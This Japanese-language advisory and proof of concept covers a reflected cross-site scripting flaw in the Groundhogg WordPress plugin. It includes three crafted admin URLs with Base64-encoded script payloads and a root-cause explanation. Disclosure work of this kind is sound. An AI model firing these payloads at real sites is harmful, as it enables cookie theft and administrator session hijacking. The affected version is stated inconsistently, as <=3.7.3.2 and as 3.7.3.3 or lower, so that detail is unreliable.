
Groundhogg WordPressプラグインの反射型XSS脆弱性に対する概念実証エクスプロイトであり、細工されたURLパラメータを介した認証不要のスクリプトインジェクションを実証します。
WordPressプラグイン
コンポーネント名 WordPress CRM、メール&マーケティング自動化 for WordPress | 受賞歴あり — Groundhogg
脆弱性のあるバージョン <= 3.7.3.2
コンポーネントスラッグ groundhogg
コンポーネントリンク https://wordpress.org/plugins/groundhogg/
脆弱性クラス A3: インジェクション
脆弱性タイプ クロスサイトスクリプティング(XSS)
認証なし
Groundhoggプラグインのバージョン3.7.3.3以下には、URLパラメータの入力検証とエスケープ処理が不十分なため、リフレクション型クロスサイトスクリプティングの脆弱性が存在します。この脆弱性は、プラグインダッシュボードの「連絡先(Contacts)」、「ファネル(Funnels)」、「ログ(Logs)」メニューで検索フィルタリング機能を使用する際に発生します。
この脆弱性を通じて、認証されていないユーザーが悪意のあるスクリプトを含むURLを作成でき、他のユーザーがこのURLにアクセスすると、スクリプトがそのブラウザ上で実行され、クッキー情報の漏洩につながる可能性があります。特に管理者権限を持つユーザーのセッションを乗っ取るために悪用される可能性があるため、深刻なセキュリティリスクをもたらします。
「Groundhogg」プラグイン <=3.7.3.2 が有効化されたWordPressサイトを準備します。
このプラグインはREST APIを使用するため、パーマリンクを「投稿名」に設定する必要があります。
続いて、以下の各メニューのリンクにアクセスすると、リフレクション型XSSの脆弱性が発動します。
連絡先メニュー(/wp-admin/admin.php?page=gh_contacts)
http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0

ファネルメニュー(/wp-admin/admin.php?page=gh_funnels)
このメニューでXSSの脆弱性を再現するには、少なくとも1つのファネルが存在する必要があります。
http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d

ログメニュー(/admin.php?page=gh_events)
http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ

Groundhoggプラグインダッシュボードの「連絡先」、「ファネル」、「ログ」メニューでフィルタリング検索を実行する際、フィルタリング設定はBase64エンコードされてからURLパラメータとして渡されます。
例えば、「連絡先」メニューで「名(First Name)」を「Test」に設定してフィルタリング検索を行う場合、URLパラメータ filters には以下のデータが渡されます:
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

URLパラメータ filters に入力された値をBase64デコードすると、以下のデータが確認できます。
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

フィルタリング検索がリクエストされると、/wp-content/plugins/groundhogg/admin/contacts/contacts-page.php ファイル内の Contacts_Page クラスの scripts 関数が実行されます。
このとき、Base64エンコードされたURLパラメータ filters はデコードされ、HTTPレスポンスのJavaScript領域内のContactSearch変数に渡されます。

したがって、HTTPレスポンスデータ内で、URLパラメータ filters に渡されたBase64エンコードデータがデコードされてから配信されていることを確認できます。

続いて、デコードされたデータは、JavaScriptロジックを通じてフィルタリング検索結果を表示するDOM要素に直接挿入されます。

これにより、PoCで入力されたフィルタリング検索語(<img src="x" onerror="alert(document.cookie)">)は、エスケープ処理なしでJavaScriptコード内の変数として渡され、クライアント側のロジックによってDOM要素に挿入・実行されます。


その結果、フィルタリング検索データのエスケープ処理が不十分なため、悪意のあるスクリプトを含む値を直接実行でき、この脆弱性は「連絡先」、「ファネル」、「ログ」のすべてのメニューで同様に発生します。